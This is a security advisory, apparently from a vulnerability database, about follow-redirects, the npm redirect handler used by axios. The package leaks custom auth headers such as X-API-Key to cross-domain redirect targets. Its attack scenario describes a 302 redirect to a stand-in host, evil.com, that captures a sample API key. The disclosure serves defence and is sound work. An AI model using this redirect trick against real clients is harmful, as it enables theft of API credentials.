follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets
Summary
When an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target.
Since follow-redirects is the redirect-handling dependency for axios (105K+ stars), this vulnerability affects the entire axios ecosystem.
Affected Code
index.js, lines 469-476:
if (redirectUrl.protocol !== currentUrlParts.protocol &&
redirectUrl.protocol !== "https:" ||
redirectUrl.host !== currentHost &&
!isSubdomain(redirectUrl.host, currentHost)) {
removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);
}The regex only matches authorization, proxy-authorization, and cookie. Custom headers like X-API-Key are not matched.
Attack Scenario
- App uses axios with custom auth header:
headers: { 'X-API-Key': 'sk-live-secret123' } - Server returns
302 Location: https://evil.com/steal - follow-redirects sends
X-API-Key: sk-live-secret123toevil.com - Attacker captures the API key
Impact
Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.
Suggested Fix
Add a sensitiveHeaders option that users can extend, or strip ALL non-standard headers on cross-domain redirect.
Disclosure
Source code review, manually verified. Found 2026-03-20.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | follow-redirects | < 1.16.0 | 1.16.0 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-200- Platform
- npm
- Package
follow-redirects- Disclosed
- 14.04.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-r4q5-vmmm-2653 - CC BY 4.0
Vulnerability history: follow-redirects
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 5
- First → latest
- 01.2022 04.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 4
Disclosures per year
- 2022: 2
- 2023: 0
- 2024: 2
- 2025: 0
- 2026: 1
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follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets this entry
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